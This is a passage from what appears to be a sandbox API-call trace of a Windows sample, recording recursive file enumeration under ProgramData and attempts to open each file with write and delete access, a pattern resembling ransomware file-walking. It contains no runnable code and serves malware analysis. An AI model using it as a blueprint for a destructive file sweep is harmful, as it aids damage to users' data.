	[0079.925] wcscat (in: _Dest=0x2daef48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart\\") returned="C:\\ProgramData\\Microsoft\\DataMart\\"
	[0079.925] wcscat (in: _Dest=0x2daef48, _Source="PaidWiFi" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi"
	[0092.551] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733800
	[0092.551] wcscpy (in: _Dest=0x4733800, _Source="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi"
	[0092.551] wcscat (in: _Dest=0x4733800, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\"
	[0092.551] wcscat (in: _Dest=0x4733800, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*") returned="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*"
	[0092.551] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0092.551] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8718
	[0092.551] wcscmp (_String1=".", _String2=".") returned 0
	[0092.551] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.551] wcscmp (_String1="..", _String2=".") returned 1
	[0092.551] wcscmp (_String1="..", _String2="..") returned 0
	[0092.552] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.552] FindClose (in: hFindFile=0x46a8718 | out: hFindFile=0x46a8718) returned 1
	[0092.552] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0092.552] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733800) returned 1
	[0092.552] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daef48) returned 1
	[0092.552] FindNextFileW (in: hFindFile=0x2dad478, lpFindFileData=0x2e13488 | out: lpFindFileData=0x2e13488*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0
	[0092.552] FindClose (in: hFindFile=0x2dad478 | out: hFindFile=0x2dad478) returned 1
	[0092.552] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e13488) returned 1
	[0092.552] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48430) returned 1
	[0092.552] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731140) returned 1

Thread:
	id = 298
	os_tid = 0x1334

	[0076.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac4d0
	[0076.829] wcscpy (in: _Dest=0x2dac4d0, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0076.829] wcscat (in: _Dest=0x2dac4d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\"
	[0076.829] wcscat (in: _Dest=0x2dac4d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\*"
	[0076.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e15638
	[0076.829] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x2e15638 | out: lpFindFileData=0x2e15638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87a78
	[0080.013] wcscmp (_String1=".", _String2=".") returned 0
	[0080.013] FindNextFileW (in: hFindFile=0x2d87a78, lpFindFileData=0x2e15638 | out: lpFindFileData=0x2e15638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.013] wcscmp (_String1="..", _String2=".") returned 1
	[0080.013] wcscmp (_String1="..", _String2="..") returned 0
	[0080.013] FindNextFileW (in: hFindFile=0x2d87a78, lpFindFileData=0x2e15638 | out: lpFindFileData=0x2e15638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1
	[0080.013] wcscmp (_String1="Device", _String2=".") returned 1
	[0080.014] wcscmp (_String1="Device", _String2="..") returned 1
	[0080.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x477ffc0
	[0080.014] wcscpy (in: _Dest=0x477ffc0, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0080.014] wcscat (in: _Dest=0x477ffc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\"
	[0080.014] wcscat (in: _Dest=0x477ffc0, _Source="Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0092.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733798
	[0092.027] wcscpy (in: _Dest=0x4733798, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0092.027] wcscat (in: _Dest=0x4733798, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\"
	[0092.027] wcscat (in: _Dest=0x4733798, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*"
	[0092.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0092.027] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4e8
	[0092.029] wcscmp (_String1=".", _String2=".") returned 0
	[0092.029] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.029] wcscmp (_String1="..", _String2=".") returned 1
	[0092.029] wcscmp (_String1="..", _String2="..") returned 0
	[0092.029] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
	[0092.029] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2=".") returned 1
	[0092.029] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2="..") returned 1
	[0092.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61580
	[0092.029] wcscpy (in: _Dest=0x2d61580, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0092.030] wcscat (in: _Dest=0x2d61580, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\"
	[0092.030] wcscat (in: _Dest=0x2d61580, _Source="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0092.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481bac0
	[0092.030] wcscpy (in: _Dest=0x481bac0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0092.030] wcscat (in: _Dest=0x481bac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0092.030] wcscat (in: _Dest=0x481bac0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*"
	[0092.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f968
	[0092.030] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.033] wcscmp (_String1=".", _String2=".") returned 0
	[0092.033] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.033] wcscmp (_String1="..", _String2=".") returned 1
	[0092.033] wcscmp (_String1="..", _String2="..") returned 0
	[0092.033] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0092.033] wcscmp (_String1="background.png", _String2=".") returned 1
	[0092.033] wcscmp (_String1="background.png", _String2="..") returned 1
	[0092.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4717b30
	[0092.033] wcscpy (in: _Dest=0x4717b30, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0092.033] wcscat (in: _Dest=0x4717b30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0092.033] wcscat (in: _Dest=0x4717b30, _Source="background.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"
	[0092.033] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20
	[0092.034] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0
	[0092.034] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.034] GetLastError () returned 0x5
	[0092.034] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0
	[0092.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717b30) returned 1
	[0092.034] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0092.034] wcscmp (_String1="behavior.xml", _String2=".") returned 1
	[0092.034] wcscmp (_String1="behavior.xml", _String2="..") returned 1
	[0092.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4717990
	[0092.034] wcscpy (in: _Dest=0x4717990, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0092.034] wcscat (in: _Dest=0x4717990, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0092.034] wcscat (in: _Dest=0x4717990, _Source="behavior.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"
	[0092.034] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20
	[0092.035] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0
	[0092.035] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.035] GetLastError () returned 0x5
	[0092.035] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0
	[0092.035] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717990) returned 1
	[0092.035] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1
	[0092.035] wcscmp (_String1="device.png", _String2=".") returned 1
	[0092.035] wcscmp (_String1="device.png", _String2="..") returned 1
	[0092.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926198
	[0092.035] wcscpy (in: _Dest=0x4926198, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0092.035] wcscat (in: _Dest=0x4926198, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0092.035] wcscat (in: _Dest=0x4926198, _Source="device.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"
	[0092.035] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20
	[0092.039] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0
	[0092.039] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.039] GetLastError () returned 0x5
	[0092.039] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0
	[0092.039] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926198) returned 1
	[0092.039] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1
	[0092.039] wcscmp (_String1="overlay.png", _String2=".") returned 1
	[0092.039] wcscmp (_String1="overlay.png", _String2="..") returned 1
	[0092.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4926198
	[0092.039] wcscpy (in: _Dest=0x4926198, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0092.039] wcscat (in: _Dest=0x4926198, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0092.039] wcscat (in: _Dest=0x4926198, _Source="overlay.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"
	[0092.039] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20
	[0092.042] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0
	[0092.042] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.042] GetLastError () returned 0x5
	[0092.042] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0
	[0092.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926198) returned 1
	[0092.043] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1
